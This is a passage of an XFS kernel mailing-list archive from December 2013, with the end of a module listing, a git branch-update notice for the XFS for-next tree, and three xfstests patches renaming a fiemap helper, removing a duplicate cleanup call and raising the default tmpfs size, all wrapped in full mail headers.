by nls_cp437 5961 0 vfat 10063 0 fat 51827 1 vfat usb_storage 48007 0 lp 9234 0 fuse 74768 3 vhost_net 10194 1 vhost 18526 1 vhost_net macvtap 10673 1 vhost_net macvlan 9645 1 macvtap nf_conntrack_netlink 28650 0 nfnetlink 4301 1 nf_conntrack_netlink xts 3015 2 gf128mul 5866 1 xts nfsd 267349 11 auth_rpcgss 48892 1 nfsd oid_registry 2307 1 auth_rpcgss nfs_acl 2623 1 nfsd sha256_generic 10244 16 cbc 2744 8 dm_crypt 15247 10 nf_conntrack_ipv6 9809 2 nf_defrag_ipv6 25699 1 nf_conntrack_ipv6 ip6table_filter 1436 1 ip6_tables 17056 1 ip6table_filter iptable_mangle 1592 0 ipt_REJECT 2449 3 ebt_ip 1646 2 xt_tcpudp 3151 9 ebtable_filter 1807 1 xt_comment 971 4 ebtables 24210 1 ebtable_filter xt_conntrack 3273 4 iptable_filter 1496 1 tun 19599 7 vhost_net ipt_MASQUERADE 2162 1 iptable_nat 3366 1 nf_conntrack_ipv4 9206 3 nf_defrag_ipv4 1411 1 nf_conntrack_ipv4 nf_nat_ipv4 3576 1 iptable_nat nf_nat 12343 3 ipt_MASQUERADE,nf_nat_ipv4,iptable_nat nf_conntrack 73690 8 ipt_MASQUERADE,nf_nat,nf_nat_ipv4,xt_conntrack,nf_conntrack_netlink,iptable_nat,nf_conntrack_ipv4, nf_conntrack_ipv6 iptable_raw 1388 0 ip_tables 17282 4 iptable_filter,iptable_mangle,iptable_nat,iptable_raw x_tables 17359 13 ip6table_filter,xt_comment,ip_tables,xt_tcpudp,ipt_MASQUERADE,ebt_ip,xt_conntrack,iptable_filter, ebtables,ipt_REJECT,iptable_mangle,ip6_tables,iptable_raw hwmon_vid 3268 0 bridge 97030 0 stp 1661 1 bridge llc 3761 2 stp,bridge kvm_amd 52575 4 nvidia 10573185 41 kvm 389093 1 kvm_amd snd_hda_codec_hdmi 30162 4 ext4 474187 1 ppdev 7126 0 crc16 1367 1 ext4 mbcache 6082 1 ext4 jbd2 83504 1 ext4 microcode 15024 0 snd_hda_codec_realtek 39515 1 psmouse 85428 0 snd_hda_intel 36904 3 serio_raw 5049 0 snd_hda_codec 149569 3 snd_hda_codec_realtek,snd_hda_codec_hdmi,snd_hda_intel pcspkr 2035 0 e100 30960 0 snd_hwdep 6340 1 snd_hda_codec drm 238206 2 nvidia snd_pcm 77709 4 snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intel evdev 10989 7 sp5100_tco 5824 0 joydev 9671 0 r8169 58399 0 parport_pc 19543 1 i2c_piix4 10592 0 parport 30549 3 lp,ppdev,parport_pc k10temp 3058 0 mii 4035 2 e100,r8169 snd_page_alloc 7242 2 snd_pcm,snd_hda_intel snd_timer 18726 2 snd_pcm shpchp 25465 0 acpi_cpufreq 10779 1 snd 59173 11 snd_hda_codec_realtek,snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_hda_codec,snd_hda_intel asus_atk0110 12008 0 wmi 8419 0 soundcore 5450 1 snd i2c_core 24164 3 drm,i2c_piix4,nvidia edac_core 44681 0 edac_mce_amd 13094 0 processor 24999 7 acpi_cpufreq button 4677 0 nfs 191701 0 lockd 76942 2 nfs,nfsd sunrpc 231063 78 nfs,nfsd,auth_rpcgss,lockd,nfs_acl fscache 47028 1 nfs sg 25657 0 xfs 808699 9 crc32c 1744 1 libcrc32c 1010 1 xfs dm_mod 82469 69 dm_crypt raid456 69677 2 async_raid6_recov 5638 1 raid456 async_memcpy 1822 2 raid456,async_raid6_recov async_pq 4452 2 raid456,async_raid6_recov async_xor 3457 3 async_pq,raid456,async_raid6_recov xor 11832 1 async_xor async_tx 2134 5 async_pq,raid456,async_xor,async_memcpy,async_raid6_recov raid6_pq 91142 2 async_pq,async_raid6_recov hid_generic 1161 0 md_mod 105996 3 raid456 hid_microsoft 3114 0 usbhid 40577 0 hid 90678 3 hid_generic,hid_microsoft,usbhid sr_mod 14898 0 cdrom 34848 1 sr_mod sd_mod 30789 13 ahci 22896 9 libahci 21401 1 ahci ohci_pci 4072 0 libata 170792 2 ahci,libahci ehci_pci 4000 0 ohci_hcd 23937 1 ohci_pci xhci_hcd 146970 0 ehci_hcd 59220 1 ehci_pci scsi_mod 130669 5 sg,usb_storage,libata,sd_mod,sr_mod usbcore 179880 7 usb_storage,ohci_hcd,ohci_pci,ehci_hcd,ehci_pci,usbhid,xhci_hcd usb_common 1656 1 usbcore ~~ -- Regards, Arno. From bpm@oss.sgi.com Wed Dec 18 10:41:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id CF8647F4E; Wed, 18 Dec 2013 10:41:33 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc4-49-g324bb26 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 46f23adf78545c49591619a615edeec41ed5a549 X-Git-Newrev: 324bb26144e9be037227ff75fae1042d048a15b4 Message-Id: <20131218164133.CF8647F4E@oss.sgi.com> Date: Wed, 18 Dec 2013 10:41:33 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 324bb26 Merge branch 'xfs-for-linus-v3.13-rc5' into for-next ac8809f xfs: abort metadata writeback on permanent errors 33177f0 xfs: swalloc doesn't align allocations properly 83a0adc xfs: remove xfsbdstrat error 6e708bc xfs: align initial file allocations correctly 718cc6f xfs: fix infinite loop by detaching the group/project hints from user dquot 5c22727 xfs: fix assertion failure at xfs_setattr_nonsize 30d161c xfs: fix false assertion at xfs_qm_vop_create_dqattach 3a8c920 xfs: fix memory leak in xfs_dir2_node_removename f94c445 xfs: growfs overruns AGFL buffer on V4 filesystems 2f42d61 xfs: don't perform discard if the given range length is less than block size 31978b5 xfs: underflow bug in xfs_attrlist_by_handle() from 46f23adf78545c49591619a615edeec41ed5a549 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 324bb26144e9be037227ff75fae1042d048a15b4 Merge: 46f23ad ac8809f Author: Ben Myers Date: Wed Dec 18 10:36:58 2013 -0600 Merge branch 'xfs-for-linus-v3.13-rc5' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 23 +++++++++++++++++------ fs/xfs/xfs_bmap_util.c | 14 ++++++++++++-- fs/xfs/xfs_buf.c | 37 ++++++++++++++----------------------- fs/xfs/xfs_buf.h | 11 +++++++---- fs/xfs/xfs_buf_item.c | 21 +++++++++++++++++++-- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- fs/xfs/xfs_trans_buf.c | 13 ++++++++++++- 7 files changed, 92 insertions(+), 40 deletions(-) hooks/post-receive -- XFS development tree From jayr@google.com Wed Dec 18 12:16:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C15487F3F for ; Wed, 18 Dec 2013 12:16:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id ABBF7304066 for ; Wed, 18 Dec 2013 10:16:08 -0800 (PST) X-ASG-Debug-ID: 1387390567-04cb6c537d81ada0001-NocioJ Received: from mail-ob0-f202.google.com (mail-ob0-f202.google.com [209.85.214.202]) by cuda.sgi.com with ESMTP id WsR6v7Ut4g9vWjL4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.202 Received: by mail-ob0-f202.google.com with SMTP id gq1so1769obb.5 for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=T5Nfo0H1LoKa6JqHHuHz2TS6wR8rZW7BQQ3z8LFhQDo=; b=HvpKMyCQ7NmkBJrPfKOT87KTJe3gkby5YxGDx2FuLlIeIS9l1vorq4CQDZMBJqPKxs A5LPAZr9m96ZVWMnrfxqOox1Pl7KJ8DwV+MVOt933xGkfYIcnPmsyuGLHqqdkaXeEisP Dws7EEWVuYzDnVEGukh7SzF8kY6DrcLHRCZ5PXkwpch5pg5miVHXuu9ilo9uB3mm1Cn2 1SKiQTYxL7WLeknk6tes0hz8lkistyjVwsUXP5OrOKHSWSEkjmVPZ2BuvpPtX0QRWEgX kB+PcrP/MiG1EyCtJQ6nxZVHa3uV1H8t9YUc9d8sqFtMfumbrmflkQk5TsVYD/2uvZ6U 437g== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=T5Nfo0H1LoKa6JqHHuHz2TS6wR8rZW7BQQ3z8LFhQDo=; b=ms3xXP6Xdys6poHTR5+xFRbgDbhnbVTRGCWp9Gg1YPgk9cCho8rYDHhzb6B1QQXF8O REPW0CEmSgcII75iCpuCw0hLfBaEG/cuUSYCtDMoK/uatRbjNz4phP17cPLeB+oCg0Jn qrM5Q/JaJomGkKg6ZK3ohoorbVdEqI01vyQmFNwf+O0vIjFbea07wLhllPONdWWLk5FE 0XBf6pDvNzH722HX6dkQNCd3SAsuTWbcgUobGPZJJNQ5eJoMjxvuk4bROzY0ChHBZicT aeLAIEyIPyukk6zDJMyFF0Okbr0gKgNLxfQK0F8aehpPh6NrfkdxLP1DE57q5NuqjGCb Li5A== X-Gm-Message-State: ALoCoQmNFiAbrP/BxF7tWFHZ/IEI43h1qtr+ywbtY1pbaO4WKpADjbbnpU8fAQ7Y7cpbTaEp5rIl2TPSozXf6QRsYth0VyURjHu4mphr0z9wvCy+BVgspGAaWU31MvSZjDmfJpI/tw8d8Vz2RVa3j91gtDUYKTbO2xrl1Vztfo9UZNqv4Cd3o/bsSDz32Dp46uqN791VHfZX X-Received: by 10.50.66.238 with SMTP id i14mr4037167igt.4.1387390567312; Wed, 18 Dec 2013 10:16:07 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id j47si284444yhm.7.2013.12.18.10.16.07 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:07 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id BEBE25A41EA; Wed, 18 Dec 2013 10:16:06 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 04/12] xfstests: rename _require_xfs_io_fiemap to _require_fiemap Date: Wed, 18 Dec 2013 10:15:55 -0800 X-ASG-Orig-Subj: [PATCH v3 04/12] xfstests: rename _require_xfs_io_fiemap to _require_fiemap Message-Id: <1387390563-27064-4-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ob0-f202.google.com[209.85.214.202] X-Barracuda-Start-Time: 1387390567 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Rename the function because we need both xfs_io and kernel support for the check, and we need xfs_io support to check for kernel support. Signed-off-by: Junho Ryu --- v3: same as v2 v2: new patch common/defrag | 2 +- common/rc | 2 +- tests/generic/255 | 2 +- tests/generic/316 | 2 +- tests/shared/298 | 2 +- tests/xfs/252 | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/common/defrag b/common/defrag index a4bc976..81b58e7 100644 --- a/common/defrag +++ b/common/defrag @@ -38,7 +38,7 @@ _require_defrag() esac _require_command $DEFRAG_PROG - _require_xfs_io_fiemap + _require_fiemap } _extent_count() diff --git a/common/rc b/common/rc index 73e9f34..81baa1d 100644 --- a/common/rc +++ b/common/rc @@ -1281,7 +1281,7 @@ _require_xfs_io_falloc_punch() } # check that xfs_io, kernel and filesystem support fiemap -_require_xfs_io_fiemap() +_require_fiemap() { testfile=$TEST_DIR/$$.fiemap testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ diff --git a/tests/generic/255 b/tests/generic/255 index dd329b4..739629c 100755 --- a/tests/generic/255 +++ b/tests/generic/255 @@ -48,7 +48,7 @@ _supported_os Linux _require_xfs_io_falloc_punch _require_xfs_io_falloc -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/255.$$ diff --git a/tests/generic/316 b/tests/generic/316 index 8cb2975..4bb6c4a 100755 --- a/tests/generic/316 +++ b/tests/generic/316 @@ -46,7 +46,7 @@ _supported_fs generic _supported_os Linux _require_xfs_io_falloc_punch -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/$seq.$$ diff --git a/tests/shared/298 b/tests/shared/298 index 4541798..e8c3d48 100755 --- a/tests/shared/298 +++ b/tests/shared/298 @@ -33,7 +33,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 _supported_fs ext4 xfs _supported_os Linux _require_fstrim -_require_xfs_io_fiemap +_require_fiemap _require_fs_space $TEST_DIR 307200 [ "$FSTYP" = "ext4" ] && _require_dumpe2fs diff --git a/tests/xfs/252 b/tests/xfs/252 index 00be41a..1a5133e 100755 --- a/tests/xfs/252 +++ b/tests/xfs/252 @@ -47,7 +47,7 @@ _supported_fs xfs _supported_os Linux _require_xfs_io_falloc_punch -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/252.$$ -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C0F8A7F3F for ; Wed, 18 Dec 2013 12:16:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 93F4D304066 for ; Wed, 18 Dec 2013 10:16:09 -0800 (PST) X-ASG-Debug-ID: 1387390568-04cb6c537b81ada0001-NocioJ Received: from mail-gg0-f201.google.com (mail-gg0-f201.google.com [209.85.161.201]) by cuda.sgi.com with ESMTP id LaoJRVtHUF47RF8A (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:08 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.161.201 X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] Received: by mail-gg0-f201.google.com with SMTP id k5so1285ggd.0 for ; Wed, 18 Dec 2013 10:16:08 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=pFY95sfk27OVNG/9mroK4ACNAMnrW5k6n0ia4gB2RX0=; b=eJqZvmhV7ZgLq5gpTwhHHvXN4i8QbQ3fpEhEZ/7wzT8GvaTBoAvswOs3HYUHKel69l fAAqZm8XPHEjp9mB9H5IKj3paOPf/5djlNhy7G/Dc/m9cnLT4+ssXo7cbyxb9yxAQ5+J nc3E6dXZiE/GN2NIIfd62gAYykX4gEVH8y7PHFQG9YfaRzAvQ3jhreSRv2OoGsUxVHpX Dcez0BOwbu7lsvkjqUAnarwqLdARSFG8y1kTb4TQYANPU2tZwtOmxdU6FBcqinPHyDpJ 2gxbuf2GVGWczmYbGJ+qntyss9wRL9z7rndxFwGqEDZxd7KzSaAFKiccHYDwIOrpwq/k 3j9Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=pFY95sfk27OVNG/9mroK4ACNAMnrW5k6n0ia4gB2RX0=; b=Low8cH+sAVPN7fzQRmjBseppu0zVv2HeoA3Kfs98Pq8e5hQcnaNpQ21+DLvdGP2BIh U6RXD4/QJ5QgHt2gm8Mh2GWBJq4yFU0tcr7X1IvcHOhZ3AUNzs6KcUH5p+3zLl3fw2CM Qq7jDlXv2fmmznpJ2DMVXX4CzRiilFEA2QP8PSdirlk298d6HLrbzaU8gl5nZKNFbRNN bWPBV+7G1mBBCVC75rXPPCXX19bxlUkgENf1p88p0WL+OShWWDKAiL1dB8a5fhWOgIdg EUIWGfBBlLZPwWAVt8USxXEVXJDHE74Gan05puaArauo/6X6b+s/4x5hLhHj9evY7ZiW VziQ== X-Gm-Message-State: ALoCoQnZ8C49s6Mu1r0KhhHjeLikCR3WJM/AAxwbcvAaFlPDUhqWeepGnGEby1RjWgl3S9fAiTKT/1TbKpZc5GzymrPf+AfIlymHG/gAra57vgsiiEPP/XsmY4MESZHhlDadhZFB/mGg5VxrsseKgRcq6OOJ85/zQMBFqBle4gJ3Tvj9B+BezsMGeNRAl+FWQg845ji4baLf X-Received: by 10.58.2.98 with SMTP id 2mr9980591vet.3.1387390568533; Wed, 18 Dec 2013 10:16:08 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id h23si285399yhk.6.2013.12.18.10.16.08 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:08 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id F049C5A405D; Wed, 18 Dec 2013 10:16:07 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 06/12] xfstests: fix generic/127 to call _cleanup() only once Date: Wed, 18 Dec 2013 10:15:57 -0800 X-ASG-Orig-Subj: [PATCH v3 06/12] xfstests: fix generic/127 to call _cleanup() only once Message-Id: <1387390563-27064-6-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-gg0-f201.google.com[209.85.161.201] X-Barracuda-Start-Time: 1387390568 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature The test is already trap-ing signal 0 (EXIT). umount prints error message when target tmpfs is already unmounted. Signed-off-by: Junho Ryu --- v3: same as v1 v2: same as v1 tests/generic/127 | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/generic/127 b/tests/generic/127 index 58ca91e..47bd1ca 100755 --- a/tests/generic/127 +++ b/tests/generic/127 @@ -117,5 +117,4 @@ _fsx_std_nommap _fsx_std_mmap status=0 -_cleanup exit -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB6647F3F for ; Wed, 18 Dec 2013 12:16:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A5EA8304066 for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) X-ASG-Debug-ID: 1387390566-04cb6c537e81ada0001-NocioJ Received: from mail-ie0-f202.google.com (mail-ie0-f202.google.com [209.85.223.202]) by cuda.sgi.com with ESMTP id VVNaObFud96zH1hr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.202 Received: by mail-ie0-f202.google.com with SMTP id lx4so2007iec.1 for ; Wed, 18 Dec 2013 10:16:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=3VWWA5/YUB5/dDJ86eRThSdD2+7gFFZSzbPGYVv7Y1Q=; b=KTteahuGgih8UqSFNkGecM+fSXqpktx2ra+buGsKPgroya6PPTYcaLCIBUXq0WH4nU dRIMokIX/h7TfG6zUrhbhtl/GZ7vxtbwdiZjkCsz4ekv7mKJxZqoSh9wCa+YF3sFapzG E80dvOhdcBS8/Fo8arvAKYJ8uac/GLkMl8sqq3uiAvinWUUs84J9YSd5+YlsESH/83CK iqzh4SICM7J8hWHOLSRj4z6pC1xEtWbGgPvInR8Xq5EpbIv/x5yiP5ZdIXvyxItKR2zV 2NYHT6uyuwwYu9j9Ilr2ZSU74LwF0AQy5glxHiXxuiAnVsqGasaC55S6GiQM+nD6/Pw0 8GVg== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=3VWWA5/YUB5/dDJ86eRThSdD2+7gFFZSzbPGYVv7Y1Q=; b=lxCIiJgeg5DhbVnf4WDsIoiQYllfT1qjzOz9nsg6OCfRS/xDzPFpe1dQwzhp40f8En HwYrDiL3wKs22wVMXWZbZ9jASeZr3oPjpH4vbSuO8F/gs+28pZP8qrR6cXPmLJNnm+hS JLp1bAifQzfiohvj5jZwIPIAiQGSaLZ+ffTyWEAgXBbaGmR+rVEGDlsQeEgBFz2CKDHm YpNYFhztjLJzg1TmcBoH0rYrckhFMydZpqVNDhepIkznUFEydS1eJXllSEwShxAoDYUq Xq4aJAB7i54lo3adARAP0zF+VSUJZl3oftWoDjR/aDRn2c7dYd+ldF1kKPnscFmUuB3s PM4A== X-Gm-Message-State: ALoCoQnuhGYrIPv/qHcSr0293fp+hGuRnyQIL0fQPnBe3dGG8t9Mu3NNHwzzWgzX4dqsKMAN8fTMTeGZsJPSZJtLrAhAPoQsY6bH32Gu42/EZ2KvbYkL9uhDQRIKv2IEicyUiEva3lussIGJSWo2K6A3uL4es7rKGH0KSzosTuchiLYPP2DZXcLbiJk24wh3Anr3eUuEDICO X-Received: by 10.50.126.69 with SMTP id mw5mr4026759igb.7.1387390566733; Wed, 18 Dec 2013 10:16:06 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id x29si290235yha.0.2013.12.18.10.16.06 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:06 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 2FEA25A405D; Wed, 18 Dec 2013 10:16:06 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 03/12] xfstests: increase tmpfs memory size Date: Wed, 18 Dec 2013 10:15:54 -0800 X-ASG-Orig-Subj: [PATCH v3 03/12] xfstests: increase tmpfs memory size Message-Id: <1387390563-27064-3-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f202.google.com[209.85.223.202] X-Barracuda-Start-Time: 1387390566 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 512M is not enough for generic/129, generic/213 and generic/247. Raise default tmpfs size to 1G. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v2: same as v1 common/rc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/common/rc b/common/rc index bfd29c7..73e9f34 100644 --- a/common/rc +++ b/common/rc @@ -113,8 +113,8 @@ _mount_opts() export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" ;; tmpfs) - # We need to specify the size at mount, use 512 MB by default - export MOUNT_OPTIONS="-o size=512M $TMPFS_MOUNT_OPTIONS" + # We need to specify the size at mount + export MOUNT_OPTIONS="-o size=${DEFAULT_TMPFS_SIZE_MB}M $TMPFS_MOUNT_OPTIONS" ;; *) ;; @@ -168,6 +168,8 @@ _fsck_opts() } [ -z "$FSTYP" ] && FSTYP=xfs +# Default tmpfs size in megabytes. +[ -z "$DEFAULT_TMPFS_SIZE_MB" ] && DEFAULT_TMPFS_SIZE_MB=1024 [ -z "$MOUNT_OPTIONS" ] && _mount_opts [ -z "$MKFS_OPTIONS" ] && _mkfs_opts [ -z "$FSCK_OPTIONS" ] && _fsck_opts -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D25E77F51 for ; Wed, 18 Dec 2013 12:16:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 446EAAC002 for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) X-ASG-Debug-ID: 1387390565-04cbb04168817210001-NocioJ Received: from mail-qc0-f201.google.com (mail-qc0-f201.google.com [209.85.216.201]) by cuda.sgi.com with ESMTP id TvoGgOO8eXv6Ye8z (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:06 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.216.201 X-Barracuda-IPDD: Level1 [google.com/209.85.216.201] Received: by mail-qc0-f201.google.com with SMTP id r5so994qcx.2 for ; Wed, 18 Dec 2013 10:16:05 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.216.201] 